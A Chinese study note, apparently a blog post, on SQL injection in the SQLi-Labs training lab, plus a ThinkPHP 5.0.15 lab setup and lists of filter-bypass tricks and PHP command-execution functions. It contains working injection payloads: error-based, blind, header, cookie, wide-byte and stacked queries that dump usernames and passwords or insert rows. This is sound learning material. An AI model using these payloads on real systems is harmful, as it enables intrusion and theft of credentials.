渗透笔记2

目录

SQL注入

报错注入

updatexml()函数

常用报错注入函数

[Less-1 联合查询注入](#Less-1 联合查询注入)

[Less-5 布尔盲注](#Less-5 布尔盲注)

HTTP头注入与绕过

[Less-18 User-Agent注入](#Less-18 User-Agent注入)

[Less-19 Referer注入](#Less-19 Referer注入)

[Less-20 Cookie注入](#Less-20 Cookie注入)

[Less-23 注释符绕过](#Less-23 注释符绕过)

[Less-25 双写绕过](#Less-25 双写绕过)

宽字节与堆叠注入

[Less-32 宽字节注入](#Less-32 宽字节注入)

[Less-37 POST宽字节](#Less-37 POST宽字节)

[Less-38 堆叠注入](#Less-38 堆叠注入)

编码对比

ThinkPHP漏洞

MySQL绕过技术总结PHP常用命令执行函数

PHP常用命令执行函数

回调函数


SQL注入

截断函数

  • substr(str, start, length) / substring()
  • left(str, length) / right(str, length)
  • mid(str, start, length)

判断函数

  • length(str) - 返回字符串长度
  • ascii(char) - 返回字符的ASCII值
  • if(condition, true_val, false_val) - 条件判断

关键数据库表

information_schema:

  • SCHEMATA - 记录所有数据库名
  • TABLES - 记录所有表名
  • COLUMNS - 记录所有列名

报错注入

updatexml()函数

复制代码
http://localhost/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,user(),0x7e),2)--+

常用报错注入函数

  • extractvalue() - XPath语法错误,最多32位
  • updatexml() - XPath错误,最多32位
  • floor()+rand()+group by - 主键重复报错
  • exp() - 数值溢出(需MySQL 5.5.5+)
  • geometrycollection()/multipoint()/polygon() - 几何函数报错
  • NAME_CONST() - 重复列名报错

Less-1 联合查询注入

  1. 判断注入点
  2. 判断列数
  3. 判断回显位置
  4. 获取当前数据库
  5. 获取所有表名
  6. 获取users表的列名
  7. 获取账号密码

Less-5 布尔盲注

页面只有两种状态(正确/错误),需要通过布尔判断逐个字符获取数据。

思路

  1. 猜测数据库名长度:?id=1' and length(database())=8--+
  2. 逐个猜解字符:?id=1' and ascii(substr(database(),1,1))=115--+
  3. 使用Burp Intruder或Python脚本自动化

HTTP头注入与绕过

Less-18 User-Agent注入

注入点在User-Agent头:

复制代码
POST /sqli/Less-18/
User-Agent: ' OR extractvalue(1,concat('!',database())) OR '
uname=admin&passwd=123&submit=Submit

Less-19 Referer注入

注入点在Referer头,方法同Less-18

Less-20 Cookie注入

Cookie值直接带入SQL查询:

复制代码
Cookie: uname=admin' union select 1,user(),3#

Less-23 注释符绕过

过滤了#--+,使用;%00或闭合方式绕过:

复制代码
?id=-1' union select 1,2,3 or '1'='1

Less-25 双写绕过

过滤了orand,使用双写绕过:

复制代码
?id=-1' union select 1,group_concat(username,0x3a,passwoorrd),3 from users--+

宽字节与堆叠注入

Less-32 宽字节注入

GBK编码中,两个字节代表一个汉字。当输入%df'时:

  • %df\(0x5C)组合成%df%5c

  • 这个组合在GBK中被识别为汉字

  • 单引号逃逸出来

    ?id=-1%df' union select 1,user(),3--+

Less-37 POST宽字节

复制代码
uname=admin%df'#
passwd=123

Less-38 堆叠注入

堆叠注入可以执行多条SQL语句,使用;分隔。

复制代码
?id=1';insert into users(id,username,password) values(100,'test','123')--+
  • 不适用union/select/insert
  • 适用于文件操作、修改数据等场景

编码对比

编码方式 特点
GBK 汉字占2字节,固定长度
UTF-8 可变长编码,汉字占3字节
Unicode 不可变长

ThinkPHP漏洞

  1. 下载ThinkPHP 5.0.15源码

  2. Windows环境配置:

  • framework目录重命名为thinkphp
  • 配置虚拟主机指向public目录
  1. 虚拟主机配置:

    <VirtualHost *:80>
    DocumentRoot "D:/tp5/public"
    ServerName tp5.com
    </VirtualHost>

MySQL绕过技术总结PHP常用命令执行函数

  1. 编码绕过:16进制、URL编码
  2. 注释绕过/**//*!*/
  3. 大小写绕过
  4. 双写绕过
  5. 特殊字符绕过%0a%09
  6. 宽字节绕过

PHP常用命令执行函数

函数 说明
system() 直接执行命令并输出结果
exec() 执行命令,需echo输出
shell_exec() 执行命令,返回结果字符串
passthru() 直接输出命令执行结果
proc_open() 进程控制,更灵活
popen() 打开进程管道
eval() 执行PHP代码
assert() 执行PHP代码(PHP 7中变更)

回调函数

  • call_user_func()
  • call_user_func_array()
  • array_map()
  • usort() / uasort()
相关推荐
奥特曼_ it4 小时前
【数据分析+机器学习】基于机器学习的招聘数据分析可视化预测推荐系统(完整系统源码+数据库+开发笔记+详细部署教程)✅
笔记·数据挖掘·数据分析
四维碎片5 小时前
QSettings + INI 笔记
笔记·qt·算法
zzcufo5 小时前
多邻国第5阶段17-18学习笔记
笔记·学习
BlackWolfSky6 小时前
鸿蒙中级课程笔记4—应用程序框架进阶1—Stage模型应用组成结构、UIAbility启动模式、启动应用内UIAbility
笔记·华为·harmonyos
中屹指纹浏览器6 小时前
指纹浏览器性能优化实操——多实例并发与资源占用管控
经验分享·笔记
了一梨7 小时前
SQLite3学习笔记5:INSERT(写)+ SELECT(读)数据(C API)
笔记·学习·sqlite
jrlong7 小时前
DataWhale大模型基础与量化微调task5学习笔记(第 3 章:大模型训练与量化_模型量化实战)
笔记·学习
Sarvartha8 小时前
Routing(路由与分支)学习笔记
笔记·学习
Yu_Lijing8 小时前
《图解HTTP》笔记与读后感(上)
网络·笔记·网络协议·http
Gain_chance8 小时前
23-学习笔记尚硅谷数仓搭建-ODS层业务全量表、增量表结构设计及数据装载脚本
数据仓库·hive·笔记·学习